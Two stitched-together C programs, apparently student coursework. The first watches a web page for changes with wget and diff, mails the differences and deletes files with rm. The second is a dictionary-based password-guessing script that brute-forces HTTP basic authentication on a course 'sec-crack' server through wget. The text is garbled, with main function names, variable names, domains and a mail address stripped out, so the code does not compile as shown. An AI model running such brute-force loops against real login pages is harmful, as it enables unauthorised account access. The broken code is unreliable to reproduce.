

#include "stdio.h"
#include "stdlib.h"


int getDifference()
{
	system("wget http://www.cs.rmit.edu./students/");
	return system("diff index.html index.html.1");
}


int sendMail()
{
	int ret;
	printf("\n Program has Detected a Change  the webpage, a mail has been send    yallara .\n");
	ret = system("diff index.html index.html.1 | mail @cs.rmit.edu.");
	sleep(1000);
	system("clear");
}

void clean()
{
	system("rm index.htm*.*");
}
()
{
	while(1){

	int ret = 0;
	ret = getDifference();
	if(ret>0)
	{
	sendMail();
	}
else
	{
	printf("\n  is  difference in the web \n");
	}
	clean();
	printf("Checking the  every 24 hrs..");

	sleep(86400000);
	}
}








#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}



